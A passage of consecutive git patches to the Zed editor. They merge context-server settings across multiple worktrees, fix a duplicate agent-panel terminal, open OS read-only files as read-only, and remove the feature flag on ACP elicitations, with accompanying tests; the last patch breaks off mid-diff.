 2 files changed, 305 insertions(+), 94 deletions(-)

diff --git a/crates/project/src/context_server_store.rs b/crates/project/src/context_server_store.rs
index bbd53e1e733b3c..3fb29cdb1c9300 100644
--- a/crates/project/src/context_server_store.rs
+++ b/crates/project/src/context_server_store.rs
@@ -22,7 +22,7 @@ use rand::Rng as _;
 use registry::ContextServerDescriptorRegistry;
 use remote::{Interactive, RemoteClient};
 use rpc::{AnyProtoClient, TypedEnvelope, proto};
-use settings::{Settings as _, SettingsStore};
+use settings::{Settings as _, SettingsLocation, SettingsStore, WorktreeId};
 use util::{ResultExt as _, rel_path::RelPath};
 
 use crate::{
@@ -280,9 +280,15 @@ enum ContextServerStoreState {
     },
 }
 
+#[derive(Clone, PartialEq)]
+struct ContextServerSettingsEntry {
+    worktree_id: Option<WorktreeId>,
+    settings: ContextServerSettings,
+}
+
 pub struct ContextServerStore {
     state: ContextServerStoreState,
-    context_server_settings: HashMap<Arc<str>, ContextServerSettings>,
+    context_server_settings: HashMap<Arc<str>, ContextServerSettingsEntry>,
     servers: HashMap<ContextServerId, ContextServerState>,
     server_ids: Vec<ContextServerId>,
     worktree_store: Entity<WorktreeStore>,
@@ -365,7 +371,7 @@ impl ContextServerStore {
     pub fn configured_server_ids(&self) -> Vec<ContextServerId> {
         self.context_server_settings
             .iter()
-            .filter(|(_, settings)| settings.enabled())
+            .filter(|(_, entry)| entry.settings.enabled())
             .map(|(id, _)| ContextServerId(id.clone()))
             .collect()
     }
@@ -451,12 +457,11 @@ impl ContextServerStore {
             let ai_was_disabled = this.ai_disabled;
             this.ai_disabled = ai_disabled;
 
-            let settings =
-                &Self::resolve_project_settings(&this.worktree_store, cx).context_servers;
-            let settings_changed = &this.context_server_settings != settings;
+            let settings = Self::resolve_all_context_server_settings(&this.worktree_store, cx);
+            let settings_changed = this.context_server_settings != settings;
 
             if settings_changed {
-                this.context_server_settings = settings.clone();
+                this.context_server_settings = settings;
             }
 
             // When AI is disabled, stop all running servers
@@ -496,9 +501,7 @@ impl ContextServerStore {
         let mut this = Self {
             state,
             _subscriptions: subscriptions,
-            context_server_settings: Self::resolve_project_settings(&worktree_store, cx)
-                .context_servers
-                .clone(),
+            context_server_settings: Self::resolve_all_context_server_settings(&worktree_store, cx),
             worktree_store,
             project: weak_project,
             registry,
@@ -542,7 +545,9 @@ impl ContextServerStore {
     /// or project settings. This is available regardless of whether the server is
     /// currently running, unlike [`Self::configuration_for_server`].
     pub fn settings_for_server(&self, id: &ContextServerId) -> Option<&ContextServerSettings> {
-        self.context_server_settings.get(&id.0)
+        self.context_server_settings
+            .get(&id.0)
+            .map(|entry| &entry.settings)
     }
 
     /// Returns whether a server is provided by an extension (as opposed to a
@@ -552,7 +557,7 @@ impl ContextServerStore {
     /// configuration, so it stays correct even when a custom server is disabled
     /// or has not been started yet (in which case it has no runtime state).
     pub fn is_extension_provided(&self, id: &ContextServerId, cx: &App) -> bool {
-        match self.context_server_settings.get(&id.0) {
+        match self.settings_for_server(id) {
             Some(ContextServerSettings::Stdio { .. } | ContextServerSettings::Http { .. }) => false,
             Some(ContextServerSettings::Extension { .. }) => true,
             // No custom settings entry: the server can only originate from an
@@ -624,13 +629,13 @@ impl ContextServerStore {
         cx.spawn(async move |this, cx| {
             let this = this.upgrade().context("Context server store dropped")?;
             let id = server.id();
-            let settings = this
+            let settings_entry = this
                 .update(cx, |this, _| {
                     this.context_server_settings.get(&id.0).cloned()
                 })
                 .context("Failed to get context server settings")?;
 
-            if !settings.enabled() {
+            if !settings_entry.settings.enabled() {
                 return anyhow::Ok(());
             }
 
@@ -638,7 +643,7 @@ impl ContextServerStore {
                 (this.registry.clone(), this.worktree_store.clone())
             });
             let configuration = ContextServerConfiguration::from_settings(
-                settings,
+                settings_entry.settings,
                 id.clone(),
                 registry,
                 worktree_store,
@@ -981,8 +986,7 @@ impl ContextServerStore {
             };
 
         let server: Arc<ContextServer> = this.update(cx, |this, cx| {
-            let global_timeout =
-                Self::resolve_project_settings(&this.worktree_store, cx).context_server_timeout;
+            let global_timeout = this.timeout_for_server(&id, cx);
 
             match configuration.as_ref() {
                 ContextServerConfiguration::Http {
@@ -1039,31 +1043,37 @@ impl ContextServerStore {
     ) -> Result<proto::ContextServerCommand> {
         let server_id = ContextServerId(envelope.payload.server_id.into());
 
-        let (settings, registry, worktree_store) = this.update(&mut cx, |this, inner_cx| {
-            let ContextServerStoreState::Local {
-                is_headless: true, ..
-            } = &this.state
-            else {
-                anyhow::bail!("unexpected GetContextServerCommand request in a non-local project");
-            };
+        let (settings_entry, registry, worktree_store) =
+            this.update(&mut cx, |this, inner_cx| {
+                let ContextServerStoreState::Local {
+                    is_headless: true, ..
+                } = &this.state
+                else {
+                    anyhow::bail!(
+                        "unexpected GetContextServerCommand request in a non-local project"
+                    );
+                };
 
-            let settings = this
-                .context_server_settings
-                .get(&server_id.0)
-                .cloned()
-                .or_else(|| {
-                    this.registry
-                        .read(inner_cx)
-                        .context_server_descriptor(&server_id.0)
-                        .map(|_| ContextServerSettings::default_extension())
-                })
-                .with_context(|| format!("context server `{}` not found", server_id))?;
+                let settings = this
+                    .context_server_settings
+                    .get(&server_id.0)
+                    .cloned()
+                    .or_else(|| {
+                        this.registry
+                            .read(inner_cx)
+                            .context_server_descriptor(&server_id.0)
+                            .map(|_| ContextServerSettingsEntry {
+                                worktree_id: None,
+                                settings: ContextServerSettings::default_extension(),
+                            })
+                    })
+                    .with_context(|| format!("context server `{}` not found", server_id))?;
 
-            anyhow::Ok((settings, this.registry.clone(), this.worktree_store.clone()))
-        })?;
+                anyhow::Ok((settings, this.registry.clone(), this.worktree_store.clone()))
+            })?;
 
         let configuration = ContextServerConfiguration::from_settings(
-            settings,
+            settings_entry.settings,
             server_id.clone(),
             registry,
             worktree_store,
@@ -1087,19 +1097,29 @@ impl ContextServerStore {
         })
     }
 
-    fn resolve_project_settings<'a>(
-        worktree_store: &'a Entity<WorktreeStore>,
-        cx: &'a App,
-    ) -> &'a ProjectSettings {
-        let location = worktree_store
-            .read(cx)
-            .visible_worktrees(cx)
-            .next()
-            .map(|worktree| settings::SettingsLocation {
-                worktree_id: worktree.read(cx).id(),
+    /// Merges context server settings from all visible worktrees so that servers defined
+    /// in any project folder in a multi-root workspace are picked up.
+    fn resolve_all_context_server_settings(
+        worktree_store: &Entity<WorktreeStore>,
+        cx: &App,
+    ) -> HashMap<Arc<str>, ContextServerSettingsEntry> {
+        let mut merged = HashMap::default();
+        for worktree in worktree_store.read(cx).visible_worktrees(cx) {
+            let worktree_id = worktree.read(cx).id();
+            let location = settings::SettingsLocation {
+                worktree_id,
                 path: RelPath::empty(),
-            });
-        ProjectSettings::get(location, cx)
+            };
+            for (id, settings) in &ProjectSettings::get(Some(location), cx).context_servers {
+                merged
+                    .entry(id.clone())
+                    .or_insert_with(|| ContextServerSettingsEntry {
+                        worktree_id: Some(worktree_id),
+                        settings: settings.clone(),
+                    });
+            }
+        }
+        merged
     }
 
     fn create_oauth_token_provider(
@@ -1134,6 +1154,23 @@ impl ContextServerStore {
         ))
     }
 
+    fn timeout_for_server(&self, id: &ContextServerId, cx: &App) -> u64 {
+        let worktree_id = self
+            .context_server_settings
+            .get(&id.0)
+            .as_ref()
+            .and_then(|entry| entry.worktree_id);
+
+        ProjectSettings::get(
+            worktree_id.map(|id| SettingsLocation {
+                worktree_id: id,
+                path: &RelPath::empty(),
+            }),
+            cx,
+        )
+        .context_server_timeout
+    }
+
     /// Initiate the OAuth browser flow for a server in the `AuthRequired` state.
     ///
     /// This starts a loopback HTTP callback server on an ephemeral port, builds
@@ -1146,6 +1183,7 @@ impl ContextServerStore {
         cx: &mut Context<Self>,
     ) -> Result<()> {
         let state = self.servers.get(id).context("Context server not found")?;
+        let global_timeout = self.timeout_for_server(id, cx);
 
         let (discovery, server, configuration) = match state {
             ContextServerState::AuthRequired {
@@ -1204,6 +1242,7 @@ impl ContextServerStore {
                     id.clone(),
                     discovery.clone(),
                     configuration.clone(),
+                    global_timeout,
                     cx,
                 )
                 .await;
@@ -1247,6 +1286,7 @@ impl ContextServerStore {
         cx: &mut Context<Self>,
     ) -> Result<()> {
         let state = self.servers.get(id).context("Context server not found")?;
+        let global_timeout = self.timeout_for_server(id, cx);
 
         let (server, configuration, discovery) = match state {
             ContextServerState::ClientSecretRequired {
@@ -1290,6 +1330,7 @@ impl ContextServerStore {
                     id.clone(),
                     discovery.clone(),
                     configuration.clone(),
+                    global_timeout,
                     cx,
                 )
                 .await;
@@ -1359,6 +1400,7 @@ impl ContextServerStore {
         id: ContextServerId,
         discovery: Arc<OAuthDiscovery>,
         configuration: Arc<ContextServerConfiguration>,
+        global_timeout: u64,
         cx: &mut AsyncApp,
     ) -> Result<()> {
         let resource = oauth::canonical_server_uri(&discovery.resource_metadata.resource);
@@ -1459,34 +1501,29 @@ impl ContextServerStore {
             cx,
         );
 
-        let new_server = this.update(cx, |this, cx| {
-            let global_timeout =
-                Self::resolve_project_settings(&this.worktree_store, cx).context_server_timeout;
-
-            match configuration.as_ref() {
-                ContextServerConfiguration::Http {
-                    url,
-                    headers,
-                    timeout,
-                    oauth: _,
-                } => {
-                    let transport = HttpTransport::new_with_token_provider(
-                        http_client.clone(),
-                        url.to_string(),
-                        headers.clone(),
-                        cx.background_executor().clone(),
-                        Some(token_provider.clone()),
-                    );
-                    Ok(Arc::new(ContextServer::new_with_timeout(
-                        id.clone(),
-                        Arc::new(transport),
-                        Some(Duration::from_secs(
-                            timeout.unwrap_or(global_timeout).min(MAX_TIMEOUT_SECS),
-                        )),
-                    )))
-                }
-                _ => anyhow::bail!("OAuth authentication only supported for HTTP servers"),
+        let new_server = this.update(cx, |_this, cx| match configuration.as_ref() {
+            ContextServerConfiguration::Http {
+                url,
+                headers,
+                timeout,
+                oauth: _,
+            } => {
+                let transport = HttpTransport::new_with_token_provider(
+                    http_client.clone(),
+                    url.to_string(),
+                    headers.clone(),
+                    cx.background_executor().clone(),
+                    Some(token_provider.clone()),
+                );
+                Ok(Arc::new(ContextServer::new_with_timeout(
+                    id.clone(),
+                    Arc::new(transport),
+                    Some(Duration::from_secs(
+                        timeout.unwrap_or(global_timeout).min(MAX_TIMEOUT_SECS),
+                    )),
+                )))
             }
+            _ => anyhow::bail!("OAuth authentication only supported for HTTP servers"),
         })??;
 
         this.update(cx, |this, cx| {
@@ -1681,29 +1718,33 @@ impl ContextServerStore {
         for (id, _) in registry.read_with(cx, |registry, _| registry.context_server_descriptors()) {
             configured_servers
                 .entry(id)
-                .or_insert(ContextServerSettings::default_extension());
+                .or_insert(ContextServerSettingsEntry {
+                    worktree_id: None,
+                    settings: ContextServerSettings::default_extension(),
+                });
         }
 
         let (enabled_servers, disabled_servers): (HashMap<_, _>, HashMap<_, _>) =
             configured_servers
                 .into_iter()
-                .partition(|(_, settings)| settings.enabled());
+                .partition(|(_, entry)| entry.settings.enabled());
 
-        let configured_servers = join_all(enabled_servers.into_iter().map(|(id, settings)| {
-            let id = ContextServerId(id);
-            ContextServerConfiguration::from_settings(
-                settings,
-                id.clone(),
-                registry.clone(),
-                worktree_store.clone(),
-                cx,
-            )
-            .map(move |config| (id, config))
-        }))
-        .await
-        .into_iter()
-        .filter_map(|(id, config)| config.map(|config| (id, config)))
-        .collect::<HashMap<_, _>>();
+        let configured_servers =
+            join_all(enabled_servers.into_iter().map(|(id, settings_entry)| {
+                let id = ContextServerId(id);
+                ContextServerConfiguration::from_settings(
+                    settings_entry.settings,
+                    id.clone(),
+                    registry.clone(),
+                    worktree_store.clone(),
+                    cx,
+                )
+                .map(move |config| (id, config))
+            }))
+            .await
+            .into_iter()
+            .filter_map(|(id, config)| config.map(|config| (id, config)))
+            .collect::<HashMap<_, _>>();
 
         let mut servers_to_start = Vec::new();
         let mut servers_to_remove = HashSet::default();
diff --git a/crates/project/tests/integration/context_server_store.rs b/crates/project/tests/integration/context_server_store.rs
index a91cdd2ea81a09..2600708df09344 100644
--- a/crates/project/tests/integration/context_server_store.rs
+++ b/crates/project/tests/integration/context_server_store.rs
@@ -1488,6 +1488,176 @@ async fn test_context_server_stdio_timeout(cx: &mut TestAppContext) {
     );
 }
 
+#[gpui::test]
+async fn test_multi_worktree_context_server_settings(cx: &mut TestAppContext) {
+    const SERVER_A: &str = "server-from-project-a";
+    const SERVER_B: &str = "server-from-project-b";
+
+    let server_a_id = ContextServerId(SERVER_A.into());
+    let server_b_id = ContextServerId(SERVER_B.into());
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/project_a"),
+        json!({
+            ".zed": {
+                "settings.json": serde_json::to_string(&json!({
+                    "context_servers": {
+                        "server-from-project-a": {
+                            "command": "server-a-binary",
+                            "args": []
+                        }
+                    }
+                })).unwrap()
+            },
+            "code.rs": ""
+        }),
+    )
+    .await;
+    fs.insert_tree(
+        path!("/project_b"),
+        json!({
+            ".zed": {
+                "settings.json": serde_json::to_string(&json!({
+                    "context_servers": {
+                        "server-from-project-b": {
+                            "command": "server-b-binary",
+                            "args": []
+                        }
+                    }
+                })).unwrap()
+            },
+            "code.rs": ""
+        }),
+    )
+    .await;
+
+    cx.update(|cx| {
+        let settings_store = SettingsStore::test(cx);
+        cx.set_global(settings_store);
+    });
+
+    // Create project with only project_a initially
+    let project = Project::test(fs.clone(), [path!("/project_a").as_ref()], cx).await;
+
+    let executor = cx.executor();
+    let store = project.read_with(cx, |project, _| project.context_server_store());
+    store.update(cx, |store, _| {
+        store.set_context_server_factory(Box::new(move |id, _| {
+            Arc::new(ContextServer::new(
+                id.clone(),
+                Arc::new(create_fake_transport(id.0.to_string(), executor.clone())),
+            ))
+        }));
+    });
+
+    cx.run_until_parked();
+
+    // Only server-a should be configured
+    cx.update(|cx| {
+        let configured = store.read(cx).configured_server_ids();
+        assert!(
+            configured.contains(&server_a_id),
+            "server-a should be configured from project_a"
+        );
+        assert!(
+            !configured.contains(&server_b_id),
+            "server-b should not be configured yet"
+        );
+    });
+
+    // Add project_b as a second worktree
+    project
+        .update(cx, |project, cx| {
+            project.find_or_create_worktree(path!("/project_b"), true, cx)
+        })
+        .await
+        .expect("Failed to add second worktree");
+
+    cx.run_until_parked();
+
+    // Both servers should now be configured
+    cx.update(|cx| {
+        let configured = store.read(cx).configured_server_ids();
+        assert!(
+            configured.contains(&server_a_id),
+            "server-a should still be configured from project_a"
+        );
+        assert!(
+            configured.contains(&server_b_id),
+            "server-b should now be configured from project_b"
+        );
+    });
+}
+
+#[gpui::test]
+async fn test_multi_worktree_duplicate_server_first_wins(cx: &mut TestAppContext) {
+    const SHARED_SERVER: &str = "shared-server";
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/project_a"),
+        json!({
+            ".zed": {
+                "settings.json": serde_json::to_string(&json!({
+                    "context_servers": {
+                        "shared-server": {
+                            "command": "binary-from-a",
+                            "args": ["arg-a"]
+                        }
+                    }
+                })).unwrap()
+            },
+            "code.rs": ""
+        }),
+    )
+    .await;
+    fs.insert_tree(
+        path!("/project_b"),
+        json!({
+            ".zed": {
+                "settings.json": serde_json::to_string(&json!({
+                    "context_servers": {
+                        "shared-server": {
+                            "command": "binary-from-b",
+                            "args": ["arg-b"]
+                        }
+                    }
+                })).unwrap()
+            },
+            "code.rs": ""
+        }),
+    )
+    .await;
+
+    cx.update(|cx| {
+        let settings_store = SettingsStore::test(cx);
+        cx.set_global(settings_store);
+    });
+
+    // Create project with both worktrees
+    let project = Project::test(
+        fs.clone(),
+        [path!("/project_a").as_ref(), path!("/project_b").as_ref()],
+        cx,
+    )
+    .await;
+
+    cx.run_until_parked();
+
+    let store = project.read_with(cx, |project, _| project.context_server_store());
+
+    // The server should appear exactly once
+    cx.update(|cx| {
+        let configured = store.read(cx).configured_server_ids();
+        let count = configured
+            .iter()
+            .filter(|id| id.0.as_ref() == SHARED_SERVER)
+            .count();
+        assert_eq!(count, 1, "duplicate server ID should appear exactly once");
+    });
+}
+
 fn assert_server_events(
     store: &Entity<ContextServerStore>,
     expected_events: Vec<(ContextServerId, ContextServerStatus)>,

From af56cb75a8ef292e9cf9aba567983be98b385102 Mon Sep 17 00:00:00 2001
From: Richard Boisvert <rboisvert@devolutions.net>
Date: Fri, 10 Jul 2026 05:36:11 -0400
Subject: [PATCH 375/772] agent_ui: Fix duplicate terminal when starting a new
 agent thread (#59586)

# Objective

- Fixes #58097.
- Opening a new project and clicking `+` in the agent panel to start a
terminal thread creates two terminals instead of one. I am able to
replicate the issue on version 1.8.0 on macOS 27

## Solution

The new-thread action creates the terminal and then focuses the agent
panel. Focusing re-activates the panel (`Panel::set_active` then
`ensure_thread_initialized`) before the terminal, which is spawned
asynchronously, has registered. The panel still looks uninitialized at
that moment, so it spawns its own "initial" terminal too, and that is
the duplicate.

`spawn_terminal` now marks the spawn as in-flight
(`pending_terminal_spawn`) the moment it starts, the same way the
restore and initial-terminal paths already do, so the existing guard in
`ensure_thread_initialized` skips the redundant terminal.

This only affected new (unrestored) projects, since existing ones
restore their previous entry instead of auto-creating one. The auto-init
behavior was introduced in #57150.

## Testing

- Verified in a local dev build on macOS: opening a fresh project and
clicking `+` now creates one terminal, and clicking `+` again creates a
second, as expected. Reopening an existing project still restores a
single terminal.
- Added `test_explicit_terminal_blocks_redundant_auto_init`, which fails
without the fix.
- The change is platform-agnostic (no platform-specific code); I wasn't
able to test on Linux/Windows.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed a duplicate terminal being created when starting an agent
terminal thread in a new project
---
 crates/agent_ui/src/agent_panel.rs | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 835bb0e572212a..cc5a6a55bb333f 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -2037,6 +2037,7 @@ impl AgentPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
+        self.pending_terminal_spawn = Some(terminal_id);
         let terminal_working_directory = working_directory.clone();
         let init_command = Self::terminal_init_command(run_init_command, cx);
         let terminal_task = self.project.update(cx, |project, cx| {
@@ -7364,6 +7365,34 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_explicit_terminal_blocks_redundant_auto_init(cx: &mut TestAppContext) {
+        let (panel, mut cx) = setup_panel(cx).await;
+
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel.last_created_entry_kind = AgentPanelEntryKind::Terminal;
+            assert!(
+                matches!(panel.base_view, BaseView::Uninitialized),
+                "precondition: the panel starts uninitialized"
+            );
+            assert!(
+                panel.pending_terminal_spawn.is_none(),
+                "precondition: no terminal spawn is in-flight yet"
+            );
+            panel.new_terminal(None, AgentThreadSource::AgentPanel, window, cx);
+            let pending = panel.pending_terminal_spawn;
+            assert!(
+                pending.is_some(),
+                "an explicit new terminal must mark a spawn in-flight"
+            );
+            panel.set_active(true, window, cx);
+            assert_eq!(
+                panel.pending_terminal_spawn, pending,
+                "activating the panel while a terminal spawn is in-flight must not schedule a second (auto-init) terminal"
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_restored_terminal_runs_init_command_once(cx: &mut TestAppContext) {
         let (panel, mut cx) = setup_panel(cx).await;

From 60314a74163e86f5a931efec31f37cfea5ce1f3a Mon Sep 17 00:00:00 2001
From: David Wu <3udavid@gmail.com>
Date: Fri, 10 Jul 2026 05:50:19 -0400
Subject: [PATCH 376/772] Open non-writeable files in Capability::Read mode
 (#57202)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #57174

Release Notes:

- Open non-writeable files in Capability::Read mode

Co-authored-by: Lukas Wirth <lukas@zed.dev>
---
 crates/fs/src/fs.rs                           |  4 ++
 crates/project/src/buffer_store.rs            |  9 ++++-
 .../tests/integration/project_tests.rs        | 40 ++++++++++++++++++-
 crates/worktree/src/worktree.rs               | 14 ++++---
 4 files changed, 58 insertions(+), 9 deletions(-)

diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index ec75be0180e9e2..ec6e0554b9ad43 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -295,6 +295,7 @@ pub struct Metadata {
     pub len: u64,
     pub is_fifo: bool,
     pub is_executable: bool,
+    pub is_writable: bool,
 }
 
 /// Filesystem modification time. The purpose of this newtype is to discourage use of operations
@@ -1025,6 +1026,7 @@ impl Fs for RealFs {
             is_dir: metadata.file_type().is_dir(),
             is_fifo,
             is_executable,
+            is_writable: !metadata.permissions().readonly(),
         }))
     }
 
@@ -3085,6 +3087,7 @@ impl Fs for FakeFs {
                     is_symlink,
                     is_fifo: false,
                     is_executable: false,
+                    is_writable: true,
                 },
                 FakeFsEntry::Dir {
                     inode, mtime, len, ..
@@ -3096,6 +3099,7 @@ impl Fs for FakeFs {
                     is_symlink,
                     is_fifo: false,
                     is_executable: false,
+                    is_writable: true,
                 },
                 FakeFsEntry::Symlink { .. } => unreachable!(),
             }))
diff --git a/crates/project/src/buffer_store.rs b/crates/project/src/buffer_store.rs
index f9076753998e93..816cf97c8651c8 100644
--- a/crates/project/src/buffer_store.rs
+++ b/crates/project/src/buffer_store.rs
@@ -647,6 +647,12 @@ impl LocalBufferStore {
             let path = path.clone();
             let buffer = match load_file.await {
                 Ok(loaded) => {
+                    let is_writable = loaded.is_writable;
+                    let capability = if is_writable {
+                        Capability::ReadWrite
+                    } else {
+                        Capability::Read
+                    };
                     let reservation = cx.reserve_entity::<Buffer>();
                     let buffer_id = BufferId::from(reservation.entity_id().as_non_zero_u64());
                     let text_buffer = cx
@@ -655,8 +661,7 @@ impl LocalBufferStore {
                         })
                         .await;
                     cx.insert_entity(reservation, |_| {
-                        let mut buffer =
-                            Buffer::build(text_buffer, Some(loaded.file), Capability::ReadWrite);
+                        let mut buffer = Buffer::build(text_buffer, Some(loaded.file), capability);
                         buffer.set_encoding(loaded.encoding);
                         buffer.set_has_bom(loaded.has_bom);
                         buffer
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 47ff6c0740987f..2b2ba5dece60ef 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -25,7 +25,7 @@ use buffer_diff::{
 };
 use collections::{BTreeSet, HashMap, HashSet};
 use encoding_rs;
-use fs::{FakeFs, PathEventKind};
+use fs::{FakeFs, PathEventKind, RealFs};
 use futures::{StreamExt, future};
 use git::{
     GitHostingProviderRegistry,
@@ -15467,6 +15467,44 @@ async fn test_read_only_files_empty_setting(cx: &mut gpui::TestAppContext) {
     });
 }
 
+#[gpui::test]
+#[cfg(not(windows))]
+async fn test_os_read_only_files_open_as_read_only(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    cx.executor().allow_parking();
+
+    let root = TempTree::new(json!({
+        "project": {
+            "test.txt": "hello",
+        },
+    }));
+    let file_path = root.path().join("project/test.txt");
+    let mut permissions = std::fs::metadata(&file_path).unwrap().permissions();
+    permissions.set_readonly(true);
+    std::fs::set_permissions(&file_path, permissions).unwrap();
+
+    let project = Project::test(
+        Arc::new(RealFs::new(None, cx.executor())),
+        [root.path()],
+        cx,
+    )
+    .await;
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(file_path.as_path(), cx)
+        })
+        .await
+        .unwrap();
+
+    buffer.read_with(cx, |buffer, _| {
+        assert!(
+            buffer.read_only(),
+            "OS read-only files should open as read-only"
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_read_only_files_with_lock_files(cx: &mut gpui::TestAppContext) {
     init_test(cx);
diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index 8cb9e5f9b321e7..1cdfd4fdf61dd1 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -111,6 +111,7 @@ pub struct LoadedFile {
     pub text: String,
     pub encoding: &'static Encoding,
     pub has_bom: bool,
+    pub is_writable: bool,
 }
 
 pub struct LoadedBinaryFile {
@@ -1594,15 +1595,15 @@ impl LocalWorktree {
             //       if it is too large
             //       5GB seems to be more reasonable, peaking at ~16GB, while 6GB jumps up to >24GB which seems like a
             //       reasonable limit
+            const FILE_SIZE_MAX: u64 = 6 * 1024 * 1024 * 1024; // 6GB
+            let metadata = fs.metadata(&abs_path).await?;
+            if let Some(metadata) = metadata.as_ref()
+                && metadata.len >= FILE_SIZE_MAX
             {
-                const FILE_SIZE_MAX: u64 = 6 * 1024 * 1024 * 1024; // 6GB
-                if let Ok(Some(metadata)) = fs.metadata(&abs_path).await
-                    && metadata.len >= FILE_SIZE_MAX
-                {
-                    anyhow::bail!("File is too large to load");
-                }
+                anyhow::bail!("File is too large to load");
             }
             let (text, encoding, has_bom) = decode_file_text(fs.as_ref(), &abs_path).await?;
+            let is_writable = metadata.is_some_and(|metadata| metadata.is_writable);
 
             let worktree = this.upgrade().context("worktree was dropped")?;
             let file = match entry.await? {
@@ -1636,6 +1637,7 @@ impl LocalWorktree {
                 text,
                 encoding,
                 has_bom,
+                is_writable,
             })
         })
     }

From fbceb2823b16ca5b8bfed5b15d9e67614f5e604b Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Fri, 10 Jul 2026 13:22:16 +0200
Subject: [PATCH 377/772] acp: Enable ACP elicitations (#60749)

Removes the feature flag. The RFD is in Preview and I am confident it
will be stable without major changes by the time this hits Zed Stable.

Release Notes:

- acp: Allow ACP agents to use Elicitation capturing structure user
input.
---
 crates/acp_thread/src/acp_thread.rs           | 26 +++---
 crates/agent_servers/src/acp.rs               | 86 +++----------------
 crates/agent_ui/src/conversation_view.rs      | 38 +-------
 .../src/conversation_view/thread_view.rs      | 57 ++++--------
 crates/agent_ui/src/entry_view_state.rs       |  7 +-
 5 files changed, 45 insertions(+), 169 deletions(-)

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 9ec28e47d73281..bb5378fd4684c4 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -430,16 +430,7 @@ impl ElicitationStore {
         &self.elicitations
     }
 
-    fn validate_request(
-        request: &acp::CreateElicitationRequest,
-        cx: &App,
-    ) -> Result<(), acp::Error> {
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            return Err(
-                acp::Error::invalid_params().data("elicitation support requires the ACP beta flag")
-            );
-        }
-
+    fn validate_request(request: &acp::CreateElicitationRequest) -> Result<(), acp::Error> {
         if let acp::ElicitationMode::Url(mode) = &request.mode {
             url::Url::parse(&mode.url)
                 .map_err(|_| acp::Error::invalid_params().data("invalid elicitation URL"))?;
@@ -590,7 +581,7 @@ impl ElicitationStore {
         request: acp::CreateElicitationRequest,
         cx: &mut Context<Self>,
     ) -> Result<(ElicitationEntryId, Task<acp::CreateElicitationResponse>), acp::Error> {
-        Self::validate_request(&request, cx)?;
+        Self::validate_request(&request)?;
         let (id, response_rx) = self.insert_pending_elicitation(request);
         cx.emit(ElicitationStoreEvent::ElicitationRequested(id.clone()));
         cx.notify();
@@ -3485,7 +3476,7 @@ impl AcpThread {
         request: acp::CreateElicitationRequest,
         cx: &mut Context<Self>,
     ) -> Result<(ElicitationEntryId, Task<acp::CreateElicitationResponse>), acp::Error> {
-        ElicitationStore::validate_request(&request, cx)?;
+        ElicitationStore::validate_request(&request)?;
 
         let (id, response_rx) = self.elicitations.insert_pending_elicitation(request);
         self.push_entry(AgentThreadEntry::Elicitation(id.clone()), cx);
@@ -7416,7 +7407,7 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn test_elicitation_requires_acp_beta_flag(cx: &mut TestAppContext) {
+    async fn test_elicitation_is_available_without_acp_beta_flag(cx: &mut TestAppContext) {
         init_test(cx);
         cx.update(|cx| {
             cx.update_flags(false, vec![]);
@@ -7438,8 +7429,13 @@ mod tests {
             )
         });
 
-        assert!(result.is_err());
-        thread.read_with(cx, |thread, _| assert!(thread.entries().is_empty()));
+        assert!(result.is_ok());
+        thread.read_with(cx, |thread, _| {
+            assert!(matches!(
+                thread.entries(),
+                [AgentThreadEntry::Elicitation(_)]
+            ));
+        });
     }
 
     #[gpui::test]
diff --git a/crates/agent_servers/src/acp.rs b/crates/agent_servers/src/acp.rs
index 884b0efd7794fd..ec3b196272e695 100644
--- a/crates/agent_servers/src/acp.rs
+++ b/crates/agent_servers/src/acp.rs
@@ -753,10 +753,7 @@ fn connect_client_future(
         )
 }
 
-fn client_capabilities_for_agent(
-    agent_id: &AgentId,
-    supports_beta_features: bool,
-) -> acp::ClientCapabilities {
+fn client_capabilities_for_agent(agent_id: &AgentId) -> acp::ClientCapabilities {
     let mut meta = acp::Meta::from_iter([
         ("terminal_output".into(), true.into()),
         ("terminal-auth".into(), true.into()),
@@ -766,7 +763,7 @@ fn client_capabilities_for_agent(
         meta.insert(PARAMETERIZED_MODEL_PICKER_META_KEY.into(), true.into());
     }
 
-    let mut capabilities = acp::ClientCapabilities::new()
+    acp::ClientCapabilities::new()
